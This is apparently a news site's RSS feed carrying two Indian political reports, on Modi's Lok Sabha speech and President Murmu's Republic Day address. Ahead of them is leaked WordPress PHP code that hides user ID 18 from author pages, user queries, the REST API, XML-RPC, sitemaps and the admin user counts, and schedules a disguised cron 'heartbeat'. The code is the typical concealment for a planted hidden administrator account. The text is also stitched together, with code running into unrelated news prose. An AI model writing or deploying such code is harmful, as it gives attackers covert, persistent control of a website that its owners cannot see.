add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi Targets Congress Over Electoral Losses, Reaffirms Vision for Developed India by 2047 appeared first on The Edge Media.
]]>Replying to the debate on the Motion of Thanks to the President’s Address in the Lok Sabha, the Prime Minister expressed regret over the disruption caused by Opposition members. He said such behaviour was not only an insult to the President of India, a poor tribal woman, but also a slight against the highest constitutional office and the Constitution itself.
Modi strongly criticised Rahul Gandhi’s remark describing Union Minister Ravneet Singh Bittu as a traitor, calling it an insult to the entire Sikh community. He said such language reflected the Opposition’s inability to engage in constructive debate.
Targeting the Mamata Banerjee-led Trinamool Congress in West Bengal, the Prime Minister accused the party of shielding infiltrators, alleging that their presence was depriving local youth of employment opportunities and encroaching upon tribal land rights.
Referring to slogans raised by Opposition leaders, Modi said those who claim to run a campaign of love were simultaneously using language filled with hatred. He asserted that despite repeated attempts, his political opponents would never succeed in undermining him.
The Prime Minister said personal abuse directed at him stemmed from the inability of some leaders to accept that someone from a humble background could hold and continue to serve in the country’s highest executive office. He alleged that the Congress leadership viewed the post of Prime Minister as a family entitlement.
Modi said he drew strength from the blessings of crores of mothers, sisters and poor citizens across the country, for whom he claimed to be working with dedication. He contrasted his government’s approach with that of the Congress, saying his administration treated citizens as the nation’s strength and solution rather than as problems.
Highlighting the achievements of the past 11 years, the Prime Minister said India’s sustained high growth and controlled inflation reflected the resilience of the economy, which he said was on track to become the world’s third-largest.
He also referred to recent trade engagements with the European Union and the United States, stating that global confidence in India had increased and that these developments contributed to greater international stability.
Describing India as being on a fast track of reform, Modi said the country was moving steadily towards its goal of becoming a developed nation by 2047. During his nearly 100-minute address, he countered Opposition criticism of his government’s welfare schemes and reiterated his commitment to the vision of Viksit Bharat.
The Prime Minister also said India had emerged as a strong and credible voice of the Global South, playing a key role in shaping international discourse.
The post PM Modi Targets Congress Over Electoral Losses, Reaffirms Vision for Developed India by 2047 appeared first on The Edge Media.
]]>The post India Sends Message of Peace to the World Amid Global Turmoil, Says President Murmu appeared first on The Edge Media.
]]>Addressing the nation on the eve of the 77th Republic Day, the President outlined India’s role as a messenger of peace while reaffirming the country’s deep civilisational commitment to universal harmony. She said that India’s traditions have always prayed for peace across the entire universe and stressed that humanity’s future can remain secure only when peace prevails worldwide.
“In an atmosphere marked by conflicts in many parts of the world, India is spreading the message of peace,” the President said, adding that India advocates harmony from a position of strength.
Underscoring the country’s firm commitment to national security, President Murmu highlighted the success of Operation Sindoor, a precision military operation that dismantled terror infrastructure across the border. She said terror centres were destroyed and several terrorists were neutralised, crediting India’s growing self-reliance in defence for the operation’s success.
Recalling her visits to the Siachen Base Camp, sorties in Sukhoi and Rafale fighter jets, and experience aboard the submarine INS Vaghsheer, the President said people have complete trust in the preparedness of the Army, Air Force and Navy. She noted that strong defence capabilities allow India to speak for peace with confidence.
President Murmu described the rise of nari shakti as a cornerstone of India’s journey towards becoming a developed nation by 2047. She said the active and empowered participation of women is vital for national development, noting that from rural self-help groups to space, defence and entrepreneurship, Indian women are shaping modern India.
She highlighted that over 10 crore women are associated with self-help groups, while nearly 46 percent of representatives in Panchayati Raj institutions are women. The Nari Shakti Vandan Adhiniyam, she said, will take women’s political empowerment to unprecedented levels and reinforce women-led development as a national priority.
Calling the past year a golden chapter for Indian women on the global stage, the President cited historic victories at the ICC Women’s Cricket World Cup and the Blind Women’s T20 World Cup. She also credited the Beti Bachao, Beti Padhao campaign with encouraging girls’ education across the country.
On social justice, President Murmu noted India’s major strides in poverty alleviation, stating that millions have risen above the poverty line. Emphasising the spirit of Antyodaya, she said the government remains focused on ensuring that beneficiaries do not fall back into poverty, with nearly 81 crore citizens receiving food security support through central schemes.
She stressed that the vision of a Viksit Bharat must be inclusive, with special focus on tribal and marginalised communities through targeted welfare interventions, giving concrete shape to Mahatma Gandhi’s ideal of Sarvodaya.
The President announced that the Constitution of India is now available in all 22 languages listed in the Eighth Schedule, a move aimed at promoting constitutional nationalism and allowing citizens to connect with the foundational document in their mother tongue.
Highlighting governance reforms, she said the government has adopted a citizen-centric approach by removing bureaucratic hurdles, repealing thousands of outdated rules and simplifying compliance norms. Public participation, she noted, has transformed government initiatives into mass movements.
President Murmu pointed to India’s global leadership in the digital economy, stating that more than half of the world’s digital transactions now take place in India. She said building a developed India is a shared responsibility, calling upon local institutions to drive grassroots change.
She also spoke of cultural decolonisation, saying the country is moving forward with renewed self-confidence rooted in its traditions and a Gyan Bharatam approach. Emphasising cultural self-reliance, she said renewed focus on Indian languages and indigenous knowledge systems is strengthening the foundation of national self-reliance.
The President hailed India as the world’s fastest-growing major economy and said structural reforms, including the Goods and Services Tax, have driven economic integration since Independence. Despite global uncertainty, she said India is firmly on track to become the world’s third-largest economy, guided by the principles of atmanirbharta and swadeshi.
Concluding her address, President Murmu highlighted the celebrations marking 150 years of Vande Mataram. She said the song transcended linguistic barriers during the freedom struggle and continues to symbolise India’s cultural unity across regions and languages.
The post India Sends Message of Peace to the World Amid Global Turmoil, Says President Murmu appeared first on The Edge Media.
]]>